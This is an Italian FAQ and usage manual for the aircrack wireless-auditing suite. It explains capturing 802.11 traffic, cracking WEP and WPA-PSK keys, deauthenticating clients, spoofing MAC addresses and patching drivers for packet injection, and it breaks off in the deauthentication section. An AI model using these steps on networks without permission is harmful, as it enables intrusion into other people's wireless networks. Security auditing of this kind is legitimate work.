documentazione di aircrack
Cos'è
aircrack ?
aircrack è un insieme di strumenti
per la verifica di reti wireless:
- airodump:
802.11 sniffer
- aireplay:
802.11 generatore di pacchetti
- aircrack:
cracker per chiavi statiche WEP e WPA-PSK
- airdecap:
decifra file catturati WEP/WPA
Questo documento è disponibile spagnolo
(thanks to ShaKarO).
Esiste
il forum di aircrack ?
Certo: http://100h.org/forums/.
Inoltre segui il canale #aircrack su irc.freenode.net
Dove
scaricare aircrack ?
Il sito di download ufficiale è http://www.cr0.net:8040/code/network/.
Tuttavia, se per qualche ragione non puoi raggiungere la porta 8040,
puoi usare questo mirror: http://100h.org/wlan/aircrack/.
Aircrack è incluso nel Troppix
LiveCD, che comprende i drivers { Prism2 / PrismGT /
Realtek / Atheros /
Ralink } modificati per fare packet injection, oltre ai
drivers acx100 e ipw2200 (Centrino b/g).
Compare
"cygwin1.dll not found" quando lancio aircrack.exe.
Puoi scaricare la dll da: http://100h.org/wlan/aircrack/.
Per usare aircrack, trascina i tuoi file .cap o .ivs
su
aircrack.exe. Se vuoi lanciare il programma con delle opzioni devi
avviare una shell (cmd.exe) e digitare a mano la riga di comando;
c'è anche una GUI
per aircrack, creata da hexanium.
Esempio:
C:\TEMP> aircrack.exe -n 64 -f 8 out1.cap out2.cap ...
Vedi sotto la lista
dei parametri.
Come
cracko una chiave WEP statica ?
L'idea base è catturare quanto
più
traffico cifrato possible con
airodump. Ogni pacchetto dati WEP ha associato un Vettore di
Inizializzazione (IV) da 3-byte: quando sono stati catturati abbastanza
pacchetti, esegui aircrack sul file di cattura. Aircrack
eseguirà quindi una serie di attacchi statistici sviluppati
da un
hacker di talento che si chiama KoreK.
Come so
che la mia chiave WEP è corretta ?
Ci sono 2 metodi di autenticazione per il WEP:
- Open-System Authentication: è il metodo
di default. tutti i client sono accettati dall' AP, e la
chiave non viene mai verificata:
l'associazione è sempre concessa. Tuttavia se la tua chiave
è sbagliata non potrai ricevere o spedire pacchetti
(perchè la decifratura fallisce), così DHCP, ping
etc.
andranno in timeout.
- Shared-Key Authentication: il client deve cifrare
un
challenge prima che l'associazione sia concessa dall'AP. Questo metodo
è difettoso e porta alla recupero del set di chiavi,
così
non è mai attivo per default.
Alla fine, solo per il fatto che ti sei connesso
all'access
point non vuol dire che la tua chiave WEP sia corretta ! Per
provare la tua chiave WEP, prova a decifrare un file di cattura con
airdecap.
Quanti
IVs ci vogliono per crackare il WEP ?
Crackare il WEP non è una scienza
esatta. Il
numero di IVs richiesti dipende dalla lunghezza della chiave WEP e
dalla tua fortuna. Di solito, una chiave WEP 40-bit si può
crackare con 300.000 IVs, e una chiave WEP da 104-bit con 1.000.000
di IVs; se sei sfigato,
puoi avere bisogno di 2 milioni di IVs, o anche
più.
Non c'è modo di sapere quanto è
lunga una
chiave WEP: questa informazione è segreta e non viene
diffusa,
nè nelle frame di gestione nè in quelle dati;
quindi,
airodump non può indicare la lunghezza della chiave.
Perciò è consigliabile eseguire aircrack 2 volte:
quando
hai 250.000 IVs, lancia aircrack con l'opzione "-n 64" per crackare il
WEP a 40-bit. Quindi se non trovi la chiave, rilancia aircrack (senza
l'opzione -n) per crackare la chiave WEP a 104-bit.
Sembra
che non riesca a catturare alcun IVs !
Può essere che:
- Sei troppo lontano dall'access point.
- Non c'è traffico sulla rete wireless che
stai analizzando.
- C'eè traffico in modalità G
ma tu stai catturando in modalità B.
- La tua scheda ha qualcosa che non va (problemi di
firmware ?)
In ogni caso, i beacon sono pacchetti di annuncio non
cifrati. Sono del tutto inutili per crackare il WEP.
Non sono
riuscito a crackare questo AP !
Càpita.
Perchè
non c'è una versione Windows di aireplay ?
Il driver PEEK non supporta il packet
injection 802.11 ; Non
farò il porting di aireplay su Win32. Tuttavia, ci sono
alternative commerciali:
Schede Prism: http://www.tuca-software.com/transmit.php
Schede Atheros: http://www.tamos.com/htmlhelp/commwifi/pgen.htm
La mia
scheda è compatibile con airodump / aireplay ?
Per prima cosa, cerca con Google e scopri che
chipset monta la tua scheda. Ad esempio, se hai una scheda Linksys
WPC54G cerca
"wpc54g
chipset linux".
| Chipset |
Supported by airodump for Windows ? |
Supported by airodump for Linux ? |
Supported by aireplay for Linux ? |
| HermesI |
SI (Agere
driver) |
SI (patched orinoco
driver) |
NO (il firmware danneggia l'header MAC) |
| Prism2/3 |
NO, but see LinkFerret
for an alternative |
SI (HostAP or wlan-ng
driver), STA firmware 1.5.6 or newer required |
SI (Solo PCI e CardBus, necessario
driver con patch) |
| PrismGT |
SI (PrismGT
driver) |
FullMAC: SI (prism54 driver,
SoftMAC: NOT YET (prism54usb)
|
SI (driver con patch raccomandato) |
| Atheros |
CardBus: SI (Atheros
driver), PCI: NO (see CommView WiFi
instead) |
SI (PCI and CardBus only, madwifi driver) |
SI (driver con patch richiesto) |
| RTL8180 |
SI (Realtek
driver) |
SI (rtl8180-sa2400
driver) |
INSTABLE (driver con patch richiesto) |
| Aironet |
SI? (Cisco
driver) |
SI (airo driver,
firmware
4.25.30 recommended) |
NO (problemi con il firmware) |
| Ralink |
NO |
SI (rt2500 / rt2570
driver) |
SI (driver con patch richiesto) |
| Centrino b |
NO |
PARTIAL: the ipw2100 driver
doesn't discard corrupted packets |
NO |
| Centrino b/g |
NO |
SI (ipw2200 driver,
1.0.6 recommended) |
NO (il firmware perde i pacchetti) |
| Broadcom |
Old models only (BRCM driver) |
ALPHA (bcm43xx
driver, Linux >= 2.6.14 required) |
NO |
| TI (ACX100 / ACX111) |
NO |
UNTESTED (acx100 driver) |
NO |
| ZyDAS 1201 |
NO |
NOT YET (zd1211 driver)
|
NO |
| Atmel, Marvel |
NO |
UNKNOWN |
NO |
Il
driver PEEK non riconosce la mia scheda.
Alcune schede non sono riconosciute dai driver
Windows qui sopra, anche se hanno il chipset corretto. In questo caso,
apri l'hardware
manager, seleziona la scheda, "Aggiorna driver",
scegli "Installa
da un percorso specifico", scegli "Non cercare, sceglierò il
driver da installare", clicka "Disco driver", punta alla cartella dove
hai unzippato il driver, togli la spunta da "Mostra
hardwarecompatibile", e alla fine seleziona il driver.
Ho una
scheda Prism2, ma airodump / aireplay non funzionano !
Prima di tutto, controlla di non stare usando
il
driver orinoco. Se il nome della scheda è wlan0, allora il
driver è HostAP o wlan-ng. Invece, se il nome
dell'interfaccia
è eth0 o eth1, allora il driver è orinoco e devi
disabilitare il
driver (usa cardctl ident per sapere l'id della tua scheda, quindi
modifica
/etc/pcmcia/config, sostituisci orinoco_cs con hostap_cs e riavvia
cardmgr).
Inoltre, può essere un problema di
firmware. I vecchi
firmware hanno problemi con il test
mode 0x0A (usato dalle patch per l'injection di HostAP / wlan-ng),
quindi controlla che il tuo sia aggiornato -- vedi sotto per le
istruzioni. Il firmware raccomandato è 1.7.4. Se non
funziona
bene (kismet o airodump si inchiodano dopo aver catturato un paio di
pacchetti), prova STA 1.5.6 (sia s1010506.hex per le vecchie schede
Prism2, o sf010506.hex per quelle più nuove).
Come nota, il test mode 0x0A è abbastanza
instabile
con wlan-ng. Se la scheda sembra bloccata, devi resettarla, o usare
HostAP. La Packet Injection non funziona attualmente con schede Prism2
USB con wlan-ng.
Nota: un driver per Windows XP per le schede
Prism2 con il supporto WPA/TKIP si triva qui:
http://100h.org/wlan/winxp/wpc11v3.0_wpa_dr.exe.
Ho una
scheda Atheros, e la patch madwifi crasha il kernel /
aireplay continua a dire che il supporto RTC avanzatonon è
disponibile.
Ci sono alcuni problemi con alcuni kernel Linux
2.6
(soprattutto precedenti al 2.6.11) che generano un kernel panic quando
inietti con madwifi. Inoltre, su molti kernel 2.6 il supporto
all'RTC avanzato semplicemente non funziona. Quindi è
consigliabile usare un Linux 2.6.11.x successivo.
Come
aggiorno il mio firmware Prism2 ?
Il modo più semplice è
usare WinUpdate
- che richiede di avere il driver WPC11 v2.5 installato.Si trovano
entrambi qui: http://100h.org/wlan/linux/prism2/.
Puoi anche updatare il firmware con una versione
patchata di HostAP (vedi sotto per le istruzioni su come patchare e installare HostAP). In
alternativa, puoi fare boot con Troppix
Live CD (che contiene già un driver patchato
hostap e l'utility prism2_srec).
Adesso che HostAP è caricato, puoi
controllare le versioni primarie e station del firmware con questo
comando:
# dmesg | grep wifi hostap_cs: Registered netdevice wifi0 wifi0: NIC: id=0x800c v1.0.0 wifi0: PRI: id=0x15 v1.1.1 (primary firmware is 1.1.1) wifi0: STA: id=0x1f v1.7.4 (station firmware is 1.7.4) wifi0: registered netdevice wlan0
Se il NIC id qui sopra è tra 0x8002 e
0x8008, hai una vecchia Prism2 e DEVI
usare
STA firmware versione 1.5.6 (s1010506.hex). Altrimenti, devi usare PRI
1.1.1 / STA 1.7.4 che è il firmware più stabile
per le
nuove schede Prism2. NON usare il firmware 1.7.1 o 1.8.x, sono
riportati problemi con quelli.
Per aggiornare il firmware, hai bisogno di prism2_srec
dal
pacchetto hostap-utils; se non ce l'hai, scarica e compila le
hostap-utils:
wget http://100h.org/wlan/linux/prism2/hostap-utils-0.4.0.tar.gz tar -xvzf hostap-utils-0.4.0.tar.gz cd hostap-utils-0.4.0 make
Alcune schede Prism2 sono state limitate ad un certo
set di
canali a causa di limitazioni nazionali. Puoi attivare tutti i 14
canali con questi comandi:
./prism2_srec wlan0 -D > pda; cp pda pda.bak Edit pda and put 3FFF at offset 0104 (line 24)
Infine, scarica il firmware e flasha la tua scheda. Se
il NIC id è tra 0x8002 e 0x8008:
wget http://100h.org/wlan/linux/prism2/s1010506.hex ./prism2_srec -v -f wlan0 s1010506.hex -P pda
Altrimenti:
wget http://100h.org/wlan/linux/prism2/pk010101.hex wget http://100h.org/wlan/linux/prism2/sf010704.hex ./prism2_srec -v -f wlan0 pk010101.hex sf010704.hex -P pda
Se compare il messaggio "ioctl[PRISM2_IOCTL_HOSTAPD]:
Operation not supported", il driver HostAP non
è caricato e devi installarlo. Se compare il
messaggio
"ioctl[PRISM2_IOCTL_DOWNLOAD]:
Operation not supported", il tuo driver HostAP non
è stato patchato per il supporto al download non
temporaneo (non-volatile).
Quale
è la scheda migliore da comprare ?
Attualmente il chip migliore è l'
Atheros;
è molto ben supportato sotto Linux e Windows (solo
PCMCIA/CardBus). L'ultima patch madwifi rende possible iniettare
paccketti raw 802.11 sia in modo Managed che Monitor a
velocità
a schelta tra b e g.
Ralink fa dei bei chipsets b/g, ed è molto collaborativa
con la comunità open source
nel rilasciare drivers GPL. La Packet injection è ora
pienamente
supportata per Linux su schede PCI/CardBus RT2500, e funziona anche su
schede USB RT2570.
Questa è una lista delle schede
raccomandate:
| Card name |
Type |
Chipset |
Antenna |
Price |
Windows support |
Linux support |
| MSI PC54G2 |
PCI |
Ralink |
RP-SMA |
E30 |
No |
Yes |
| MSI CB54G2 |
CardBus |
Ralink |
Internal |
E30 |
No |
Yes |
| Linksys WMP54G v4 |
PCI |
Ralink |
RP-SMA |
E40 |
No |
Yes |
| Linksys WUSB54G v4 |
USB |
Ralink |
Internal |
E40 |
No |
Yes |
| D-Link DWL-G122 |
USB |
Ralink |
Internal |
E45 |
No |
Yes |
| Netgear WG111 |
USB |
PrismGT SoftMAC |
Internal |
E40 |
airodump |
No |
| Netgear WG311T |
PCI |
Atheros |
RP-SMA |
E50 |
CommView WiFi |
Yes |
| Netgear WG511T |
CardBus |
Atheros |
Internal |
E50 |
airodump |
Yes |
| Netgear WAG511 |
CardBus |
Atheros |
Internal |
E100 |
airodump |
Yes |
| Proxim 8470-WD |
CardBus |
Atheros |
MC + Int. |
E110 |
airodump |
Yes |
Nota: ci sono alcuni modelli economici con un
nome simile (WG511, WG311 e
DWL-G520+); queste schede non sono basate
su Atheros. Inoltre, il driver Peek non supporta le schede
Atheros recenti, così devi usare
CommView WiFi.
Come uso
airodump per Windows ?
Prima di tutto, controlla che la tua scheda sia
compatibile (vedi tabella qui sopra)
e che il driver corretto sia installato.
Quando lanci airodump, devi specificare:
- Il numero della scheda di rete, scelta nella lista
mostrata da airodump.
- Il tipo di scheda di rete ('o' per HermesI e
Realtek, 'a' per Aironet, Atheros, Broadcom e PrismGT).
- Il numero di canale, tra 1 e 14. Puoi anche
specificare 0 per scannare tutti i canali.
- Il prefisso per il file di output. Ad esempio, se
il
prefisso è "foo", allora airodump creerà foo.cap
(pacchetti catturati) e foo.txt (statistiche in CSV). Se foo.cap esiste
già, airodump riavvierà la sessione appendendo i
pacchetti a quel file.
- Il flag "only IVs". Specifica 1 se vuoi salvare gli
IVs presenti nei WEP pacchetti dati. Risparmi spazio, ma il file
ottenuto (foo.ivs) può essere usato solo per crackare il
WEP.
Per interrompere la cattura, premi Ctrl-C. Puoi
ottenere un
BSOD,
dovuto a un bug nel driver PEEK che non esce correttamente dal monitor
mode. Inoltre, il file di cattura può essere vuoto. La causa
del
bug è sconosciuta.
Perchè
non posso compilare airodump e aireplay su BSD / Mac OS X ?
I sorgenti di airodump e aireplay sono
specifici per Linux. Non è in programma di portarli su altre
piattaforme.
Come uso
airodump per Linux ?
Prima di eseguire airodump, puoi far partire lo
script airmon.sh per
listare le interfacce wireless presenti. E' possibile, ma non
recommendato, eseguire Kismet e airodump nello stesso momento.
usage: airodump <interface> <output prefix> [channel] [IVs flag]
Specify 0 as the channel to hop between 2.4 GHz channels. Set the optional IVs flag to 1 to only save the captured IVs - the resulting file is only useful for WEP cracking.
If the gpsd daemon is running, airodump will retrieve and save the current GPS coordinates in text format.
YPuoi convertire i file .cap / .dump in formato .ivs
col programma pcap2ivs (solo per linux).
airodump
continua a cambiare tra WEP e WPA.
Succede perchè il tuo driver non
scarta i
pacchetti fallati (che hanno un CRC non valido). Se è un
Centrino b, non ci si può fare nulla; comprati una scheda
migliore. Se è una Prism2, prova a aggiornare il firmware.
Quale
è il significato dei campi mostrati da airodump ?
airodump mostra una lista degli access point
trovati,
e anche una lista dei client connessi ("stations"). Questo è
uno
screenshot di una scheda Prism2 con HostAP:
BSSID PWR Beacons # Data CH MB ENC ESSID
00:13:10:30:24:9C 46 15 3416 6 54. WEP the ssid 00:09:5B:1F:44:10 36 54 0 11 11 OPN NETGEAR
BSSID STATION PWR Packets Probes
00:13:10:30:24:9C 00:09:5B:EB:C5:2B 48 719 the ssid 00:13:10:30:24:9C 00:02:2D:C1:5D:1F 190 17 the ssid
|
| Field |
Description |
| BSSID |
MAC address dell' access point. |
| PWR |
Livello di segnale come riportato dalla scheda.
Il suo significato dipende dal driver, ma quando il segnale sale sei
più vicino all'AP o alla station. Se PWR == -1, il driver
non
fornisce l'informazione. |
| Beacons |
Numero di pacchetti di annuncio spediti dall'
AP.
Ogni access point spedisce circa 10 frame al secondo alla
velocità più bassa
(1M), quindi possono essere rilevati da una buona distanza. |
| # Data |
Numero di pacchetti dati catturati (se WEP,
conteggio degli IV univoci), inclusi i pacchetti dati broadcast. |
| CH |
Numero del canale (preso dai pacchetti beacon).
Nota: a volte vengono catturati pacchetti da altri canali anche se
airodump non sta facendo hopping, causa interferenze radio. |
| MB |
Massima velocità suportata dall' AP.
Se MB
= 11, è 802.11b, se MB = 22 è 802.11b+ e valori
superiori
indicano 802.11g. Il punto (dopo il 54 qui sopra) indica il supporto
allo short preamble. |
| ENC |
Algoritmo di cifratura in uso. OPN = nessuna
cifratura,
"WEP?" = WEP o qualcosa di meglio (non ci sono abbastanza dati per
distinguere WEP e WPA),
WEP (senza il ?) indica WEP statico o dinamico, e WPA se TKIP o CCMP
è in uso. |
| ESSID |
Il così detto "SSID", che
può
essere vuoto se l' SSID è nascosto. In questo caso, airodump
cerca di recuperare l' SSID dalle risposte ai probee dalle richieste di
associazione. |
| STATION |
Il MAC address di ogni station associata. Nello
screenshot qui sopra, sono rilevati 2 client (00:09:5B:EB:C5:2B e
00:02:2D:C1:5D:1F). |
Come
unisco diversi files di cattura ?
Usa il programma mergecap
(parte del pacchetto ethereal-common e presente nella distribuzione
win32):
mergecap -w out.cap
test1.cap test2.cap test3.cap
I files .ivs possono essere uniti con il programma
"mergeivs" (solo su linux).
Posso
usare Ethereal per catturare i pacchetti 802.11 ?
Su Linux, imposta la scheda in monitor mode con
lo script airmon.sh. Su
Windows,
Ethereal NON può catturare i pacchetti 802.11.
Ethereal
decodifica i pacchetti dati WEP ?
Si. Vai su Edit -> Preferences ->
Protocols -> IEEE 802.11, scegli
1 nella box "WEP key count" e digita la chave WEP.
Come
cambio il MAC address della mia scheda ?
Su Linux. se hai una scheda
Atheros card:
ifconfig ath0 down ifconfig ath0 hw ether 00:11:22:33:44:55 ifconfig ath0 up
Se non funziona, espelli e reinserisci la scheda.
Su Windows puoi usare macmakeup.
Come uso
aircrack ?
Usage: aircrack
[options] <capture file(s)>
Puoi specificare diversi files in input (sia in
formato .cap
o .ivs). Inoltre, puoi eseguire airodump e aircrack nello stesso
momento: aircrack si auto-aggiorna quando arrivano nuovi IVs.
Questa è una lista delle opzioni:
| Opzione |
Param. |
Descripzione |
| -a |
amode |
Forza il modo di attacco (1 = static WEP, 2 =
WPA-PSK). |
| -e |
essid |
Se impostato, verranno usati tutti gli IVs
dalle
reti col medesimo ESSID. Questa opzione è necessaria per
crackare il WPA-PSK se l' ESSID non è annunciato (nascosto). |
| -b |
bssid |
Seleziona la rete in base al MAC address
dell'access point. |
| -p |
nbcpu |
Sui sistemi multiprocessore imposta il numero
di CPU |
| -q |
none |
Attiva la modalità silenziosa (non
mostra lo stato fino a che la chiave è trovata o non ci si
riesce). |
| -c |
none |
(WEP cracking) Riduce lo spazio delle chiavi ad
alfanumerico, caratteri tra (0x20 - 0x7F). |
| -t |
none |
(WEP cracking) Riduce lo spazio delle chiavi ai
caratteri esadecimali codificati in binario. |
| -d |
start |
(WEP cracking) Imposta l'inizio della chiave
WEP (in esadecimale),a scopo di debug. |
| -m |
maddr |
(WEP cracking) MAC address per filtrare i
pacchetti dati WEP. In alternativa, specifica -m ff:ff:ff:ff:ff:ff per
usare tutti gli IVs, indipendentemente dalla rete. |
| -n |
nbits |
(WEP cracking) Specifica la lunghezza della
chiave: 64 per il WEP a 40-bit, 128 per il WEP a 104-bit, etc. Il
valore di default è 128. |
| -i |
index |
(WEP cracking) Usa solo gli IVs che hanno
questo indice per la chiave (da 1 a 4). Per default l'indice viene
ignorato. |
| -f |
fudge |
(WEP cracking) Per default, questo valore vale
2 per il WEP a
104-bit e 5 per il WEP a 40-bit. Prova un valore più alto
per
aumentare il livello di bruteforce: il crack sarà
più lungo, ma con maggiori opportunità di
successo. |
| -k |
korek |
(WEP cracking) Ci sono 17 attacchi statistici
di
korek. A volte un attacco crea molti falsi positivi che impediscono di
trovare la chiave, anche usando molti IVs. Prova -k
1, -k 2, ... -k 17 per disattivare gli attacchi singolarmente. |
| -x |
none |
(WEP cracking) Abilita il bruteforce solo sugli
ultimi 2 bytes della chiave. |
| -y |
none |
(WEP cracking) E' un attacco bruteforce
sperimentale che andrebbe usato solo quando il modo standard fallisce
con oltre un milione di IVs. |
| -w |
words |
(WPA cracking) Percorso per il file dizionario. |
Puoi
implementare un resume per aircrack ?
Non è in previsione di farlo.
Come
posso crackare una rete WPA-PSK ?
Devi sniffare fino a che non capita un
handshake tra
un client wireless e l' access point. Per forzare una ri-autenticazione
del client, puoi forzare un attacco deauth con aireplay. In
più
serve un buon dizionario; vedi
http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/
Per tua informazione, non è possibile pre
calcolare grosse tabelle di Pairwise Master
Keys come si fa col rainbowcrack, dal momento che la passphrase
è cifrata con l' ESSID.
In
futuro sarà crackato WPA ?
E' abbastanza improbaile che WPA venga crackato
come è stato fatto per WEP.
Il problema maggiore di WEP è che la chiave
condivisa
è allegata all' IV; il risultato finisce direttamente nell'
RC4.
Questo semplice schema è suscettibile di essere violato
mediante
un attacco statistico, siccome i primi bytes del messaggio cifrato sono
fortemente correlati con la chiave condivisa (vedi
la documentazione di Andrew Roos).
Ci sono in sostanza 2 misure contro questo attacco: 1. combinare l' IV
e la chiave condivisa con una funzione di hash function oppure 2.
scartare i primi 256 bytes dell'output dell'
RC4.
C'è stata della disinformazione nelle news
sui "buchi" di TKIP:
Per ora, TKIP è
ragionevolmente sicuro ma ha i gorni contati dal momento che si basa
sul medesimo algoritmo RC4 sul quale si basava WEP.
Ad oggi, TKIP (WPA1) non è
vulnerabile: per ogni pacchetto, l'IV da 48-bit
è combinato con la chiave di accoppiamento temporaneo
da 128-bit per creare una chiave RC4 da 104-bit,
così non
c'è alcuna correlazione statistica.
In più, WPA ha delle contromisure contro gli attacchi
attivi (ritrasmissione del traffico), include un codice di
verifica del messaggio più robusto (michael), ed ha un
protocollo di autenticazione molto robusto (il 4-way handshake). Ad
oggi l'unica vulnerabilità è un attacco con
dizionario,
che è inutile contro una passphrase ben costruita.
WPA2 (conosciuto come 802.11i) è lo stesso
che WPA1,
solo che usa CCMP (AES in
counter mode) invece di RC4 e HMAC-SHA1 al posto di HMAC-MD5 per l'
EAPOL MIC. Infine, WPA2 è un pochino meglio di WPA1, ma
nessuno
dei due sarà crackato a breve.
Ho oltre
un milione di IVs, ma
aircrack non trova la chiave !
Possibili cause:
- Sfiga: devi catturare più IVs. Di
solito,
WEP a 104-bit si cracca con un milione di IVs, ma a volte ne sono
necessari di più.
- Se tutti i voti sembrano uguali, o se ce ne sono
molti negativi, allora il file di cattura è danneggiato, o
la
chiave non è statica (forse è in uso EAP/802.1X
?).
- Un falso positivo impedisce di trovare la chiave.
Prova a disabilitare ogni singolo attacco korek (-k 1 .. 17), aumenta
il fudge factor (-f) o prova gli attacchi sperimentali (-x / -y).
Ho
trovato la chiave. Come decifro il file catturato ?
Usa il programma airdecap:
usage: airdecap [options] <pcap file>
-l : don't remove the 802.11 header -b bssid : access point MAC address filter -k pmk : WPA Pairwise Master Key in hex -e essid : target network ascii identifier -p pass : target network WPA passphrase -w key : target network WEP key in hex
examples:
airdecap -b 00:09:5B:10:BC:5A open-network.cap airdecap -w 11A3E229084349BC25D97E2939 wep.cap airdecap -e 'the ssid' -p passphrase tkip.cap
Su
Windows come recupero la mia chiave WEP ?
Puoi usare WZCOOK che recupera le chiavi WEP
dall'utility di XP Wireless
Zero Configuration. Questo software è sperimentale, quindi
può funzionare o meno a seconda del livello di
service
pack.
WZCOOK
recupera le chiavi WPA ?
WZCOOK mostra la PMK (Pairwise Master Key), un
valore
da 256-bitche è il risultato della passphrase messa in hash
8192
colte con l' ESSID e la lunghezza dell' ESSID. La passphrase non
può essere recuperata -- tuttavia, conoscere la PMK
è
sufficiente per connettersi a una rete wireless protetta
con WPA
con wpa_supplicant
(vedi Windows
README). Il tuo file di configurazione wpa_supplicant.conf dovrebbe
assomigliare a:
network={
ssid="my_essid"
pmk=5c9597f3c8245907ea71a89d[...]9d39d08e
}
Come
applico la patch al driver per fare injection con aireplay ?
Ad oggi, aireplay supporta l' injection sui
Prism2, PrismGT (FullMAC),
Atheros, RTL8180 e Ralink. L'Injection su Centrino,
Hermes, ACX1xx,
Aironet, ZyDAS, Marvell e Broadcom non è supportata a causa
di limiti del firmware o del driver.
L' Injection su Prism2 e Atheros è ancora
abbastanza
sperimentale; se la scheda sembra bloccata (nessun pacchetto catturato
o iniettato), disabilita l'interfaccia, ricarica i drivers e
reinserisci la scheda. Potresti anche aggiornate il firmware (se hai
una Prism2).
Tutti i driver hanno bisogno della patch per
supportare
l'injection in Monitor mode. Avrai bisogno degli header di Linux per il
tuo kernel attuale; sennò ti devi scaricare i sorgenti e
compilare un kernel personalizzato.
Se hai problemi con il patching e le ricompilazioni,
usa il Troppix LiveCD,
che include i drivers con la patch.
- Installazione del driver madwifi (schede Atheros)
Nota 1:hai bisogno di uudecode
nel pacchetto sharutils.
Nota 2: la patch 20051025
dovrebbe funzionare con le versioni nuove del CVS madwifi.
Nota 3: se usi wpa_supplicant,
devi ricmpilarlo
(le versioni vecchie non sono compatbili col CVS corrente di madwifi),
e assicurati che CONFIG_DRIVER_MADWIFI=y
non sia commentato in config.h.
Nota 4: Con la versione
corrente di madwifi, non c'è più bisogno di
eseguire "iwpriv ath0 mode 2",
dal momento che il driver permette l'injection in mode 0 usando la
nuova interfaccia athXraw.
| Modi permessi |
Physical medium |
| Mode 0 |
Automatic (a/b/g) |
| Mode 1 |
solo 802.11a |
| Mode 2 |
solo 802.11b |
| Mode 3 |
solo 802.11g |
ifconfig ath0 down rmmod wlan_wep ath_rate_sample ath_rate_onoe \ ath_pci wlan ath_hal 2>/dev/null
find /lib/modules -name 'ath*' -exec rm -v {} \; 2>/dev/null find /lib/modules -name 'wlan*' -exec rm -v {} \; 2>/dev/null cd /usr/src wget http://100h.org/wlan/linux/atheros/madwifi-cvs-20051025.tgz wget http://100h.org/wlan/linux/patches/madwifi-cvs-20051025.patch tar -xvzf madwifi-cvs-20051025.tgz cd madwifi-cvs-20051025 patch -Np1 -i ../madwifi-cvs-20051025.patch make KERNELPATH=/usr/src/linux-<insert version> make install modprobe ath_pci
Si può ora impostare la
velocità con
madwifi (e con
rt2570). La velocità raccomandata è 5.5 Mbps, ma
puoi
abbassarla o alzarla, a seconda della distanza dall' AP. Ad esempio:
iwconfig ath0 rate 24M
| Modulazione |
Velocità permesse |
| DSSS / CCK |
1M, 2M, 5.5M, 11M |
| OFDM (a/g) |
6M, 9M, 12M, 24M, 36M, 48M, 54M |
Quando usi gli attacchi 2, 3 e 4, cambiare il
numero di
pacchetti al secondi spediti da aireplay (opzione -x) a volte aiuta ad
ottenere risultati migliori;
il default è 500 pps.
- Installazione del driver prism54 (schede PrismGT
FullMAC)
ifconfig eth1 down rmmod prism54
cd /usr/src wget http://100h.org/wlan/linux/prismgt/prism54-svn-20050724.tgz wget http://100h.org/wlan/linux/patches/prism54-svn-20050724.patch tar -xvzf prism54-svn-20050724.tgz cd prism54-svn-20050724 patch -Np1 -i ../prism54-svn-20050724.patch make modules && make install wget http://100h.org/wlan/linux/prismgt/1.0.4.3.arm mkdir -p /usr/lib/hotplug/firmware mkdir -p /lib/firmware cp 1.0.4.3.arm /usr/lib/hotplug/firmware/isl3890 mv 1.0.4.3.arm /lib/firmware/isl3890 depmod -a
- Installazione del driver HostAP (schede Prism2)
ifconfig wlan0 down wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable /etc/init.d/CardBus stop rmmod prism2_pci rmmod hostap_pci
cd /usr/src wget http://100h.org/wlan/linux/prism2/hostap-driver-0.4.5.tar.gz wget http://100h.org/wlan/linux/patches/hostap-driver-0.3.9.patch tar -xvzf hostap-driver-0.4.5.tar.gz cd hostap-driver-0.4.5 patch -Np1 -i ../hostap-driver-0.3.9.patch make && make install mv -f /etc/pcmcia/wlan-ng.conf /etc/pcmcia/wlan-ng.conf~ /etc/init.d/pcmcia start modprobe hostap_pci &>/dev/null
- Installazione del driver wlan-ng (scheda Prism2)
Nota importante: quando la
scheda viene inserita,
wlan-ng aggiorna il firmware nella RAM (volatile download) con le
veriosni PRI 1.1.4 e STA 1.8.3. Molti utenti hanno problemi in questa
fase, quindi in ogni caso è meglio usare hostap. Inoltre,
HostAP
è più affidabile e supporta iwconfig mentre
wlan-ng no.
ifconfig wlan0 down wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable /etc/init.d/pcmcia stop rmmod prism2_pci rmmod hostap_pci find /lib/modules \( -name p80211* -o -name prism2* \) \ -exec rm -v {} \;
cd /usr/src wget http://100h.org/wlan/linux/prism2/wlanng-0.2.1-pre26.tar.gz wget http://100h.org/wlan/linux/patches/wlanng-0.2.1-pre26.patch tar -xvzf wlanng-0.2.1-pre26.tar.gz cd wlanng-0.2.1-pre26 patch -Np1 -i ../wlanng-0.2.1-pre26.patch make config && make all && make install mv /etc/pcmcia/hostap_cs.conf /etc/pcmcia/hostap_cs.conf~ /etc/init.d/pcmcia start modprobe prism2_pci &>/dev/null
- Installazione del driver r8180-sa2400 (schede
RTL8180)
ifconfig wlan0 down rmmod r8180
cd /usr/src wget http://100h.org/wlan/linux/rtl8180/rtl8180-0.21.tar.gz wget http://100h.org/wlan/linux/patches/rtl8180-0.21.patch tar -xvzf rtl8180-0.21.tar.gz cd rtl8180-0.21 patch -Np1 -i ../rtl8180-0.21.patch make && make install depmod -a modprobe r8180
- Installazione del driver rt2500 (Ralink b/g
PCI/CardBus)
ifconfig ra0 down rmmod rt2500
cd /usr/src wget http://100h.org/wlan/linux/ralink/rt2500-cvs-20051112.tgz tar -xvzf rt2500-cvs-20051112.tgz cd rt2500-cvs-20051112 cd Module make && make install modprobe rt2500
Assicurati di caricare il driver con modprobe
(non
insmod) e di mettere la scheda in Monitor mode prima di tiraru su
l'interfaccia.
- Installazione del driver rt2570 (Ralink b/g USB)
ifconfig rausb0 down rmmod rt2570
cd /usr/src wget http://100h.org/wlan/linux/ralink/rt2570-cvs-20051112.tgz tar -xvzf rt2570-cvs-20051112.tgz cd rt2570-cvs-20051112 cd Module make && make install modprobe rt2570
Non
riesco a compilare il driver.
Capita di solito perchè gli header
non sono
quelli del Linux in esecuzione. In questo caso, compila un nuovo
kernel, installalo e fai reboot. Quindi, riprova a compilare driver.
Vedi questo HOWTO
per i dettagli sulla compilazione del kernel.
Come uso
aireplay ?
Se il driver ha la patch corretta, aireplay
può iniettare pacchetti raw 802.11 in Monitor mode;
implementa
un set di 5 attacchi:
Se ottieni "ioctl(SIOCGIFINDEX)
failed: No
such device", controlla bene il nome del device e di non
aver dimenticato un parametro sulla riga di comando
Negli esempi che seguono, 00:13:10:30:24:9C
è il MAC address dell'
access point (sul canale 6), e 00:09:5B:EB:C5:2B è il MAC
address del wireless client.
- Attacco
0: deauthentication
Questo attacco è utile soprattutto per
recuperare unESSID nascosto (non annunciato)
e per catturare glihandshakes WPA
forzando i client a ri-autenticarsi. Può anche essere usato
per
generare richieste ARP come fanno i client Windows a volte quando
vuotano la ARP cache in fase di disconnessione. Ovviamente, questo
